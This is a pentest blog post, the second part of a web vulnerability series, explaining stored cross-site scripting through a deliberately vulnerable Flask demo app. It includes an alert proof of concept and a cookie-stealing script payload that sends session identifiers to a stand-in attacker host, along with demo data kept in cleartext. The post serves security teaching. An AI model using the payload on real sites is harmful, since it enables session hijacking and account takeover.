Common Web Application Vulnerabilities - Part 1.2

By Dan Kottmann ·

In this series of posts, my colleagues and I will dig into some specific, common web application vulnerabilities we observe regularly while performing network and application pentests. The intention of this series is to further expand upon a lot of the great information that already exists on the topic while preemptively addressing common questions we receive from our customers.

Part 1.2: Stored XSS

In the first part of this web application series, I discussed the basics of XSS and dug into one particular classification - reflected XSS. I provided simplified but realistic methods with which the vulnerability could be exploited within both POST and GET HTTP methods. In this discussion, I’ll dig into another type of XSS - Stored XSS. I recommend revisiting Part 1.1 of this series if you need a refresher regarding risk, cause and exploitation.

Similar to Reflected XSS, Stored XSS involves the execution of malicious code within the context of the victim’s web browser. The vulnerable site fails to encode, sanitize or properly validate user-supplied input prior to its use. Unlike Reflected XSS, however, Stored XSS does not involve an immediate reflection of the payload back to the victim. Instead, the payload is input by an attacker and persisted in some type of backend storage (e.g. a database)[1]. The payload resides within the database. Exploitation occurs if at some future time, a user requests a vulnerable page that retrieves and renders the malicious payload.

Whereas exploitation of Reflected XSS is often initiated through a social engineering campaign, this may not be the case for Stored XSS. As the payload persists (perhaps indefinitely) on disk, an attacker could potentially save a malicious payload and simply wait for it to execute. Of course, the prerequisite for execution is that the payload has to be rendered at some point to a user - this could occur immediately or in days/months/years from deployment.

Stored XSS is common in content management systems, blogging applications, issue trackers and a number of other software types that store diverse data sets intended to be displayed to other users. So let’s take a look at an example exploit within a vulnerable, basic web application I’ve created. As before, I built the vulnerable application using the lightweight Flask framework for Python:

Although there is slightly more code this time around, it’s a fairly trivial application.

  • A login/logout function is used to establish and destroy authenticated sessions.
  • A ‘dashboard’ page is displayed to authenticated users that lists ‘Logged In’ users and has links to update the current user’s profile.
  • A rudimentary profile page allows a user to update his profile.

A user’s profile is persisted in a backend Mongo database and has been seeded with the following test data. [2] Alice is the attacker and Bob is the victim.

> db.user.find().pretty()
     "_id" : ObjectId("5417a78f79d46be9f8aad84b"),
     "username" : "alice",
     "password" : "password123",
     "display" : "Alice",
     "cc_num" : "4432456712325678"
     "_id" : ObjectId("5417a7aa79d46be9f8aad84c"),
     "username" : "bob",
     "password" : "password123",
     "display" : "Bob",
     "cc_num" : "4465989876765454"

Screenshots demonstrating basic web application pages:

In the functionality detailed above, the ‘display name’ is of particular interest to an attacker because it is displayed to other users. Furthermore, it’s only displayed after a successful authentication attempt, so any session identifiers that could be retrieved would most certainly be of use.

So the attacker, Alice, logs in and validates Stored XSS with a simple proof-of-concept: she updates her display name to <script>alert(‘xss’);</script> and browses to the main dashboard which displays her new, malicious display name. Sure enough, the alert box is generated.

Similar to the attack detailed in Part 1.1 of this series, Alice sets up a netcat listener awaiting a request from the victim site. Alice updates her display name to the following, which, as discussed previously, sends the session identifier as a URL parameter to an attacker-controlled site:

<script>new Image().src=”http://attackersite:8080/?s=”+document.cookie;</script>

This is the resulting structure of the database. Note that Alice’s display name is set to the malicious payload:

Alice then waits for Bob, the victim, to log in or request the dashboard. At that point in time, Bob’s browser renders Alice’s malicious payload (disguised as her display name), resulting in an HTTP request to Alice’s server.


Stored XSS is fairly straightforward, utilizing storage for housing the payload until it is requested and rendered by a victim. This could occur quickly or over the course of time, but it has interesting implications as it oftentimes relates to authenticated sessions.

In the next and final XSS post, I’ll dive into a specific subclass of XSS, DOM-Based XSS.


[1] Some technologies, including HTML5, may allow the payload to be stored in the victim’s browser rather than on the server.

[2] Yes, yes. I realize I’ve used poor practices by saving cleartext password and unencrypted, non-tokenized credit card numbers. Trying to keep the code and data simple for clarity.

Additional Posts